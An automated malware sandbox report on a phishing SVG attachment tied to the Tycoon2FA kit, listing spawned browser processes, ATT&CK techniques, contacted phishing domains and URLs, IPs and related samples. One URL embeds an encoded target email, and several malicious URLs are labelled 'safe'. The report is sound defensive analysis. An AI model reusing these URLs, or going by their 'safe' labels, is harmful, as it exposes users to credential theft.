Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6571526316388144599,15156361422529282838,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2144 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Hilcorp#receipt0191.svg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6571526316388144599,15156361422529282838,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2144 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://ea.gdpfjvzprf.es/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/stj39rdgGiC8vclLj7rw6jNVJqxKFCPfAW67w08PGdNINEyJn8SWDe4ykyeoXef251	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/56u3hKcXny4pxyvrI6718	0%	Avira URL Cloud	safe
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUAyzr6WGRmUsZy56qEfCOop50	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/klc8UECYt5zXgmoGDN2WooKK14A0tH8M0BVAgqrtlCMpZkq6akjWjuK4j9yz230	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/wxF6frFyCV8SKJp7AZ9vV4r3JHeuEjud3a5WK5bopNKU5AOJxi7MGS6qurQDlBcWab180	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/opWwgSATD5BmOxXoMdNr2Ecywgh0febg6j8YIlnkKbIN67140	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/favicon.ico	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/34kVI6yg6hoy72ifZuy9TAbmzTijsFhKvHa3D89102	0%	Avira URL Cloud	safe
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA12je9E5isM78RVa19aSIop45	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/mnpz01pdmaKmv3lQXW7P2vQ2r4fkpgQLNebuKf8QFQhNuk56rRHgo2Bwiu2jPCTMJl7yUZWFGgWNXwx220	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/klnNS32sug9wxQlBicQFiOR1Cl4wxs6JlS8b8cisTjuqKE78168	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/xyNePnI2CqYMursoYNcd29	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUArsFTLLJKvmFlD08nZ1TV34NoZwx40	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/ijqoTZlkQOAejsICput9XE0QgfgJ78t5GrXbmnFOYCzjk1J65T2KC62vef210	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/efv3CHPKXfo7Q6lAlkq9pZIwmd4PfwYTklSEf3p0vhKd5aD78150	0%	Avira URL Cloud	safe
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA127BULQKEKPaTW56oAKT3Fruop50	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/kfTJ6QTdDVljK18vstNu7q6r7TjiwgfIl0qyGiNa8NrQZew	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/op3Br1Cll2DhMGR0G1nQAtIY4UBcUUJoJuvLTppS7XcAqHbs3xlQfiM1GqKK4LeL6DhPcd240	0%	Avira URL Cloud	safe
https://5s0vuk.hxnywi.ru/kella$aikufo	0%	Avira URL Cloud	safe
https://ea.gdpfjvzprf.es/opS9nNnU3EKDPrf0eR16pwouvtihrglxNgTx5u19EOtiXef192	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.9	true	false	high
code.jquery.com	151.101.130.137	true	false	high
ea.gdpfjvzprf.es	104.21.32.1	true	false	high
cdnjs.cloudflare.com	104.17.25.14	true	false	high
github.com	140.82.113.4	true	false	high
5s0vuk.hxnywi.ru	104.21.29.234	true	false	unknown
get.geojs.io	104.26.0.100	true	false	high
ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es	104.21.42.188	true	false	unknown
www.google.com	142.250.72.100	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.91	true	false	high
objects.githubusercontent.com	185.199.108.133	true	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://a.nel.cloudflare.com/report/v4?s=qKznXSV39IygbS%2B3ynHMnYdZd3Ii2iWkAJBTPq7%2BcF6%2BAdVrcONKcXUkG05jjRIPJU4b5U4aPC3Q8XFy2CEIXOz9%2FPDVNV4oGBlrZXj2fWHON%2BsVV4h0Z%2BemQ6bDdTZxvnNe	false		high
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUAyzr6WGRmUsZy56qEfCOop50	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/stj39rdgGiC8vclLj7rw6jNVJqxKFCPfAW67w08PGdNINEyJn8SWDe4ykyeoXef251	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	true		unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://ea.gdpfjvzprf.es/wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/wxF6frFyCV8SKJp7AZ9vV4r3JHeuEjud3a5WK5bopNKU5AOJxi7MGS6qurQDlBcWab180	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/opWwgSATD5BmOxXoMdNr2Ecywgh0febg6j8YIlnkKbIN67140	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://aadcdn.msauthimages.net/dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/illustration?ts=637898708869671586	false		high
https://a.nel.cloudflare.com/report/v4?s=5xCBaUkn1Pg9pRk7f%2B2MTtXZIrhrvGLuJnZ7xyekseTweHAiQoc%2BdF6p5XK4ZurVSTuTVmmRmFFGfwDPSGIC4oKnCkMFPudpJJZ7ux%2FcS3WdW9tw%2BLt2hN%2FW3Nra%2F4qGAuQ8	false		high
http://c.pki.goog/r/r4.crl	false		high
https://ea.gdpfjvzprf.es/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/56u3hKcXny4pxyvrI6718	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/klc8UECYt5zXgmoGDN2WooKK14A0tH8M0BVAgqrtlCMpZkq6akjWjuK4j9yz230	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==	false		unknown
https://ea.gdpfjvzprf.es/favicon.ico	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/34kVI6yg6hoy72ifZuy9TAbmzTijsFhKvHa3D89102	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/mnpz01pdmaKmv3lQXW7P2vQ2r4fkpgQLNebuKf8QFQhNuk56rRHgo2Bwiu2jPCTMJl7yUZWFGgWNXwx220	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://ea.gdpfjvzprf.es/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA12je9E5isM78RVa19aSIop45	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/klnNS32sug9wxQlBicQFiOR1Cl4wxs6JlS8b8cisTjuqKE78168	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/xyNePnI2CqYMursoYNcd29	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/uvdHSfQb7XvbrLZM9aX9eBbdgEYSAqr5cJl2PYUO1yO12122	false	Avira URL Cloud: safe	unknown
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUArsFTLLJKvmFlD08nZ1TV34NoZwx40	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/ijqoTZlkQOAejsICput9XE0QgfgJ78t5GrXbmnFOYCzjk1J65T2KC62vef210	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/efv3CHPKXfo7Q6lAlkq9pZIwmd4PfwYTklSEf3p0vhKd5aD78150	false	Avira URL Cloud: safe	unknown
https://ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es/ivwgqopnkdddirgamdQkgeSAWOUJIHLCLRMLHHFYDCIKLUYJZNHXMRIYMBIWRQRCMVUA127BULQKEKPaTW56oAKT3Fruop50	false	Avira URL Cloud: safe	unknown
http://c.pki.goog/r/gsr1.crl	false		high
https://ea.gdpfjvzprf.es/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://5s0vuk.hxnywi.ru/kella$aikufo	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/kfTJ6QTdDVljK18vstNu7q6r7TjiwgfIl0qyGiNa8NrQZew	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/op3Br1Cll2DhMGR0G1nQAtIY4UBcUUJoJuvLTppS7XcAqHbs3xlQfiM1GqKK4LeL6DhPcd240	false	Avira URL Cloud: safe	unknown
https://ea.gdpfjvzprf.es/opS9nNnU3EKDPrf0eR16pwouvtihrglxNgTx5u19EOtiXef192	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/dbd5a2dd-dnukdvcuyrxzajeghhlkgrsw0mn8cw2uhbxodkn-5f8/logintenantbranding/0/bannerlogo?ts=638254708363776654	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.bestbuy.com	chromecache_121.1.dr	false		high
https://github.com/fent)	chromecache_97.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.4	github.com	United States	36459	GITHUBUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
23.209.72.33	unknown	United States	20940	AKAMAI-ASN1EU	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
172.67.149.248	unknown	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
104.21.16.1	unknown	United States	13335	CLOUDFLARENETUS	false
23.209.72.9	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.21.32.1	ea.gdpfjvzprf.es	United States	13335	CLOUDFLARENETUS	false
104.21.42.188	ohovfljdc6sclgqnth2ed07rjfcs1b2dp3sf4ujnzvbguhzcjzwspuwuz.novaxw.es	United States	13335	CLOUDFLARENETUS	false
104.21.29.234	5s0vuk.hxnywi.ru	United States	13335	CLOUDFLARENETUS	false
18.164.124.110	unknown	United States	3	MIT-GATEWAYSUS	false
172.67.70.233	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.108.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.26.0.100	get.geojs.io	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4
192.168.2.13

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649689
Start date and time:	2025-03-27 00:30:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Hilcorp#receipt0191.svg
Detection:	MAL
Classification:	mal100.phis.evad.winSVG@23/81@38/19
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.35.174, 142.250.64.99, 142.251.167.84, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.251.40.170, 142.250.64.74, 142.250.64.106, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.74, 23.210.73.6, 142.250.80.99, 23.9.183.29, 172.202.163.200
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.113.4	test.html	Get hash	malicious	Unknown	Browse
	2Aq7rAUygC.bat	Get hash	malicious	XWorm	Browse
	ATitERlY7I.exe	Get hash	malicious	ScreenConnect Tool, Amadey, DarkVision Rat, LummaC Stealer	Browse
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://acrobat.adobe.com/id/urn:aaid:sc:EU:dd1dc65d-ce42-4138-a001-66d6a6601091	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529iXxT4Bo0AFw9djvzki8kdrm19expwx==BEplu6gERknDjHcCWPn6Uk6fYHCNKwIMVouDq~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~TvqxPNfBo0nAzRLySE3L8gQJHSD==xDTxOLpkPh418msS5KFjRtxBHRN	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529l3qOWAXRM0I9djvzki8kdrm19expwx==gXGKj7fHmzWdkj2fwKEGO6dPY7Z5PPVc3m4uU~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~LXGhAFK67Ngt8OgVyICJaqw7ha7==afV0FL0LY5RCvaMaS680fdF7POr	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	ep_setup.exe	Get hash	malicious	Unknown	Browse
	ep_setup.exe	Get hash	malicious	Unknown	Browse
	m3gyyctL5A.exe	Get hash	malicious	LummaC Stealer	Browse
172.67.149.248	Revised - Hartzellprop.com 2025 Handbook29828.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	4354_QB_Paymt_Statemnt.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	suspectTelling clean needful (78.2 KB).msg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://app.storylane.io/share/cllvhddxirl7	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	RECIPIENT_DOMAIN_NAME.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://laborcelebration.abourdays.sbs	Get hash	malicious	Unknown	Browse
	https://5g0tym6zjbvd71h.wqkogmkuvw.ru:443/u5pzq/#ZG91Z193ZXN0ZmFsbEBmZC5vcmc=	Get hash	malicious	HTMLPhisher	Browse
23.209.72.33	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	T0x859fNfn.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	https://nitricwell.com/0/0/0/2734ac06a6295ef72c4f8a72588f86fd/19/8/	Get hash	malicious	Unknown	Browse
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e329293.dscd.akamaiedge.net	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.9
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	23.209.72.31
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.31
	https://e23a311b.5f438d8b1fa34021ffea2c2f.workers.dev/&umid=ea64e973-4742-4a13-b7e6-f166cfb5aedf&auth=4c13a8eb8816953c02b02599c881676174c26b4b-2d2cb8f6bf763978670ab6e3d03aef460cd5c82c	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://www.google.at/url?q=https%3A%2F%2Fsites.google.com%2Fview%2Fgfyhgfdgd%2Fhome&sa=D&sntz=1&usg=AOvVaw2V-B7GR4_wvs2FgIKvg5nY	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://12h.eowsubluf.cfd/iP8	Get hash	malicious	Unknown	Browse	23.209.72.31
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.31
	https://fdqn7x49zmrxxb9.formstack.com/forms/refreshthispage	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	MDE_File_Sample_6967f7cc37c242205a7b3340c6732722fcd79584.zip	Get hash	malicious	HTMLPhisher	Browse	23.209.72.31
	https://eu-central-1.protection.sophos.com/?d=klclick3.com&u=aHR0cHM6Ly9jdHJrLmtsY2xpY2szLmNvbS9sLzAxSlE2TldIMFdaVkdNV0tBODFNQkZGN1JUXzI=&p=m&i=NjcwOGRlNTQxNWVkNDAyNmUyZjA5MzFh&t=VUNaZ1Yza2szQkUxQ2V5U3gwNDYvRXh1ZWpOb1orVWYwMkVMRzFlQmtmMD0=&h=696c0b13c9bb46b2b210e89a34578cd9&s=AVNPUEhUT0NFTkNSWVBUSVbYlGfZU66j8K_UDSuTsyS5h7hisQMzbX-xxgbWnDCCvg	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
cdnjs.cloudflare.com	Hilcorp#receipt0191.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	https://www.bing.com/ck/a?!&&p=4bc123521bd053746ce6213fb7efb9db6bd547d194d9f27180003c09ab9dfa29JmltdHM9MTc0Mjc3NDQwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly9iaW9tZWRzdGF0LmNvbS5ici9jYXRlZ29yeS9jYWxjdWxvLWFtb3N0cmFsLw&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	Revised - Mypharmaus 2025 Handbook03027.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	EFTRemittance_Anina_DTVZBMTIPD_attach.svg	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.17.24.14
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.24.14
